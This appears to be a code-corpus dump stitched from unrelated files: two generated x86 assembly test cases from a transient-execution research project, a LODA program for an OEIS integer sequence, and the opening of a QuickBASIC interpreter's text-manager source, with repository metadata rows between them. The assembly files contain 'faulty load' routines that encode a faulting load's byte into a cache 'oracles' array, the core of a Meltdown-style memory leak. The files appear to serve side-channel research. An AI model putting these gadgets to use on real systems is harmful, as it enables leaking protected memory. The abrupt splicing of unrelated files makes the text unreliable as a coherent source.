vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r15
and %r9, %r9
lea addresses_WT_ht+0x1a983, %rsi
lea addresses_D_ht+0x8f33, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $22040, %r9
mov $39, %rcx
rep movsq
nop
xor $19766, %rdi
lea addresses_D_ht+0xe503, %r12
nop
nop
and $62000, %r13
mov (%r12), %esi
sub $45084, %r13
lea addresses_D_ht+0x44a3, %r9
cmp $28981, %r13
mov (%r9), %r8
nop
inc %rcx
lea addresses_WC_ht+0x1c523, %rcx
nop
nop
cmp $13095, %r8
mov (%rcx), %si
nop
nop
nop
sub %r13, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
// Load
lea addresses_PSE+0x1ec8b, %r15
nop
add $60163, %r8
vmovups (%r15), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdi
// Exception!!!
nop
mov (0), %r12
and %rdi, %rdi
// Store
lea addresses_UC+0x10f6f, %rax
nop
nop
nop
xor %r14, %r14
movb $0x51, (%rax)
nop
nop
nop
nop
cmp $39844, %r14
// Store
lea addresses_WC+0x18383, %r15
nop
nop
nop
sub %r14, %r14
mov $0x5152535455565758, %r12
movq %r12, (%r15)
xor $25555, %rcx
// Faulty Load
lea addresses_US+0x11383, %r12
nop
nop
nop
add %rdi, %rdi
movb (%r12), %r14b
lea oracles, %rax
and $0xff, %r14
shlq $12, %r14
mov (%rax,%r14,1), %r14
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'58': 510}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 28.487562
| 1,529
| 0.648096
|
f7dd6fb3c6cd0f9ddc1dcffc4162e25baf6d4b85
| 5,851
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1030.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1030.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1030.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x152ed, %r12
nop
add $45369, %rax
mov $0x6162636465666768, %r13
movq %r13, (%r12)
nop
add %r14, %r14
lea addresses_normal_ht+0x1d71d, %r12
nop
nop
nop
inc %r14
movb (%r12), %r8b
nop
dec %r12
lea addresses_D_ht+0x38fd, %rsi
lea addresses_WC_ht+0x373d, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $107, %rcx
rep movsq
nop
nop
nop
xor $28001, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %rax
push %rbx
push %rdi
// Store
lea addresses_D+0x2f3d, %rdi
cmp $1367, %r14
mov $0x5152535455565758, %r15
movq %r15, %xmm5
vmovups %ymm5, (%rdi)
nop
nop
xor $15875, %r14
// Load
lea addresses_WC+0x19ae5, %r14
nop
nop
nop
nop
nop
add $12488, %rbx
movb (%r14), %r11b
nop
nop
xor $5964, %r14
// Store
lea addresses_A+0x191fd, %rdi
nop
nop
nop
inc %r11
movw $0x5152, (%rdi)
and $51706, %r10
// Store
lea addresses_WT+0x130dd, %rax
sub %r11, %r11
movb $0x51, (%rax)
nop
nop
add %rdi, %rdi
// Load
lea addresses_D+0x1e1bd, %r15
nop
nop
cmp %rdi, %rdi
mov (%r15), %bx
nop
nop
xor %rax, %rax
// Faulty Load
lea addresses_normal+0xcf3d, %r11
nop
sub $42657, %r15
movups (%r11), %xmm4
vpextrq $0, %xmm4, %r14
lea oracles, %rax
and $0xff, %r14
shlq $12, %r14
mov (%rax,%r14,1), %r14
pop %rdi
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 39.802721
| 2,999
| 0.655444
|
1560dfd49b8e846e247a8e6959066345440276c5
| 449
|
asm
|
Assembly
|
oeis/109/A109954.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/109/A109954.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/109/A109954.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A109954: Riordan array (1/(1+x)^3,x/(1+x)^2).
; Submitted by Jon Maiga
; 1,-3,1,6,-5,1,-10,15,-7,1,15,-35,28,-9,1,-21,70,-84,45,-11,1,28,-126,210,-165,66,-13,1,-36,210,-462,495,-286,91,-15,1,45,-330,924,-1287,1001,-455,120,-17,1,-55,495,-1716,3003,-3003,1820,-680,153,-19,1,66,-715,3003,-6435,8008,-6188,3060,-969,190,-21,1
lpb $0
add $1,1
sub $0,$1
lpe
sub $0,$1
mul $0,-1
mul $1,2
sub $1,$0
mul $1,-1
sub $1,3
add $1,$0
bin $1,$0
mov $0,$1
| 24.944444
| 252
| 0.585746
|
762b51e747389905675c9ec7532f6e13ab9c6e1c
| 4,104
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1841.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1841.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1841.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x64a9, %rsi
lea addresses_normal_ht+0x12541, %rdi
nop
sub $8495, %r12
mov $116, %rcx
rep movsw
nop
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %rbx
push %rcx
push %rdx
push %rsi
// Faulty Load
lea addresses_D+0x1af41, %r14
dec %r8
vmovups (%r14), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbx
lea oracles, %r8
and $0xff, %rbx
shlq $12, %rbx
mov (%r8,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 66.193548
| 2,999
| 0.664474
|
298568e06bf1167ceab6fbc728ee2f0ba386c80f
| 115,200
|
asm
|
Assembly
|
45/qb/ir/txtmgr.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
45/qb/ir/txtmgr.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
45/qb/ir/txtmgr.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
;==========================================================================
;
;Module: txtmgr.asm - Text Management Functions
;System: Quick BASIC Interpreter
;
;=========================================================================
.xlist
include version.inc
TXTMGR_ASM = ON
includeOnce architec
includeOnce context
includeOnce heap
includeOnce lister
includeOnce names
includeOnce opcodes
includeOnce parser
includeOnce pcode
includeOnce qbimsgs
includeOnce rtps
includeOnce scanner
includeOnce txtmgr
includeOnce txtint
includeOnce ui
includeOnce util
includeOnce variable
.list
assumes ds,DATA
assumes ss,DATA
assumes es,NOTHING
;-----------------------------------------------------------------------
; Scoping of legal statements:
;
; Some statements are invalid in protected-direct mode (i.e. only
; valid in a program or unprotected-direct-mode). These are
; caught by the parser's NtStatement() function which checks
; a list of statements which ARE legal in protected direct mode
; (a much smaller list than those which are illegal).
;
; Some statements are invalid in direct mode (i.e. only valid within
; a program). Those which can be identified by Reserved Word are
; caught by the parser's NtStatement() function which checks the
; 'no_direct' flag as set in file 'bnf.prs'.
; Those which can be identified by opcode are caught by TxtDirect()
; when it finds entries for them in the table tOpDirect[].
;
; Some statements are only valid at module level. This includes
; DECLARE, DEF FNxxx, which are caught by the parser, and
; END DEF, DATA which are caught by TxtChange.
;
; Some statements are only valid within a SUB/FUNCTION. This includes
; SUB/FUNCTION which is caught by the parser, and
; END SUB/FUNCTION which is caught by TxtChange.
;
; Some opcodes are only valid after the defintion line of a SUB/FUNCTION.
; These are caught by TxtChange. Those which can precede a SUB/FUNCTION
; include opBol, opBolSp, opBolInclude, opStRem, opQuoteRem,
; opStDefType, opStInclude
; (and op_Static, op_Dynamic in QB4 and the like [4]).
;
;-----------------------------------------------------------------------
; Typical text table:
; ------------------
; opBol:...
; txdCur.otxLabLink---------->opBolLab(x)
; opBol:...
; :
; opBol:...
; opEndProg:...
; opEot
; txdCur.bdlText.cbLogical--->
;
;
; Text table with active Watch expressions:
; ----------------------------------------
; opBol:...
; :
; opBol:...
; opEndProg
; <exp>:opWatchExp
; <exp>:opWatchStop
; <exp>:opWatchExp
; opEot
; txdCur.bdlText.cbLogical--->
;
;----------------------------------------------------------------------------
sBegin DATA
extrn fMergeInSub:byte ;non-zero if MERGING into SUB/FUNCTION
;only valid when FLoadActive is TRUE
extrn b$SdBuf1:word ; SD to b$Buf1 (from runtime)
;see comments in txtint.inc for bigEditState flag values, and TxtStartBigEdit
;for further details.
;
DbPub bigEditState
bigEditState DB BIG_EDIT_FALSE
cForDel DB 0 ;1+num of FOR stmts deleted by TxtDelete
cForStepDel DB 0 ;1+num of FOR ... STEP stmts deleted
;bdlTxtScrap holds deleted pcode in case the user wants to back out of the
;edit (for Edit & Continue).
;
PUBLIC bdlTxtScrap
bdlTxtScrap BDL <0,NOT_OWNER,0,0> ;initializes status field to NOT_OWNER
;fFillScrap is FALSE if TxtDelete should not copy deleted text to bdTxtScrap
; (see comments for Big Edit)
;
fFillScrap DB 0
;otxScrapStart & otxScrapEnd represent the offsets into the current text table
;where pcode was deleted and copied into bdTxtScrap
;
otxScrap DW 0
;otxBigIns and cbBigIns identify all pcode inserted since the BigEdit
;started. If the user wants to back out of the BigEdit, they represent
;the text which needs to be deleted.
;
otxBigIns DW 0
cbBigIns DW 0
;fBindStatic is input parm to TxtBindPrs
;
fBindStatic DB 0
;bindErrCode is result parm of TxtBindPrs
;
bindErrCode DW 0
;text mgr flags - FTM_xxx
PUBLIC flagsTm
flagsTm DB 0
flagsTm2 DB 0 ;must immediately follow flagsTm
FTM2_PrsRefDeleted EQU 01h
externB fLoadInclude
sEnd DATA
sBegin CODE
;Table of all the opcodes that contain oPrs operands
;The order of entries in this table is VERY important
;
tOpPrsDef LABEL WORD
opTabStart PRSDEF
opTabEntry PRSDEF,opStDeclare
opTabEntry PRSDEF,opStSub
opTabEntry PRSDEF,opStFunction
opTabEntry PRSDEF,opStDefFn
PRSDEF_DefineMax EQU PRSDEF_opStDefFn
opTabEntry PRSDEF,opStCall
opTabEntry PRSDEF,opStCallS
opTabEntry PRSDEF,opStCallLess
opTabEntry PRSDEF,opEot
;These opcodes are of special interest BEFORE they are deleted:
; Reasons why we have to descan to RUDE when certain opcodes are deleted:
; opStSub, opStFunction, opStDefFn :
; MakeVariable would be called again to evaluate the parm list, and
; would give duplicate definition errors for each parm.
;
; If line containing opStDimTo, opStRedimTo, opShared, opStShared,
; opStStatic, opAsType, opAsTypeExp, or opAsTypeFixed
; (or opCmdAsType in EB) is edited, the variable
; manager would give a duplicate definition error when new edited line
; is inserted.
;
; If a break point is being toggled on the current line, then edit and
; continue is allowable, as only the opBreakPoint will be inserted
; on the line.
;
tOpPreDel LABEL WORD
opTabStart PREDEL
; opBol and opBolLab are in this list as TxtFind terminators
; They will keep us from Searching to opEot if no other interesting
; opcodes are found after the otx range deleted. This significantly
; speeds up edits for generic programs with large text tables.
opTabEntry PREDEL,opBol
opTabEntry PREDEL,opBolLab
PREDEL_BolMax EQU PREDEL_opBolLab
opTabEntry PREDEL,op_Include
PREDEL_IncludeMax EQU PREDEL_op_Include
;The following opcodes cause rude-edit when deleted
opTabEntry PREDEL,opStDefType
PREDEL_rudeMin EQU PREDEL_opStDefType
; opStDeclare is included here to ensure that variable tables get
; recreated in case a DECLARE for a quicklib function is deleted.
; e.g. DECLARE FUNCTION FOO () : x = foo where foo is in a qlb.
; deleting the DECLARE will cause a variable named foo to be defined.
opTabEntry PREDEL,opStDeclare
opTabEntry PREDEL,opStSub
opTabEntry PREDEL,opStFunction
opTabEntry PREDEL,opStDefFn
opTabEntry PREDEL,opEndSingleDef
opTabEntry PREDEL,opStEndDef
opTabEntry PREDEL,opStConst
opTabEntry PREDEL,opStCommon
opTabEntry PREDEL,opAVtRf
opTabEntry PREDEL,opStReDimTo
opTabEntry PREDEL,opShared
opTabEntry PREDEL,opStShared
opTabEntry PREDEL,op_Static
opTabEntry PREDEL,op_Dynamic
opTabEntry PREDEL,opStStatic
opTabEntry PREDEL,opStType
opTabEntry PREDEL,opStEndType
opTabEntry PREDEL,opAsType
opTabEntry PREDEL,opAsTypeExp
opTabEntry PREDEL,opAsTypeFixed
opTabEntry PREDEL,opNoList1
;Scanner inserts opNoList1 in a statement whenever the stack
; contains a return address into that statement. Deleting
; an opNoList1 means we're deleting a return address - Cant Continue.
; opNoList1 could just be AskCantCont instead of AskRudeEdit,
; but its not worth the extra code to let users print variables
; after deleting a return address, and other than that,
; AskCantCont is identical to AskRudeEdit
opTabEntry PREDEL,opStOptionBase0
opTabEntry PREDEL,opStOptionBase1
opTabEntry PREDEL,opEot
;These opcodes are of special interest AFTER they have been deleted:
;
tOpDel LABEL WORD
opTabStart DEL
opTabEntry DEL,opLab
opTabEntry DEL,opLabSp
opTabEntry DEL,opBolLab
DEL_bolMin EQU DEL_opBolLab
opTabEntry DEL,opBolLabSp
DEL_labMax EQU DEL_opBolLabSp
opTabEntry DEL,opBol
opTabEntry DEL,opBolSp
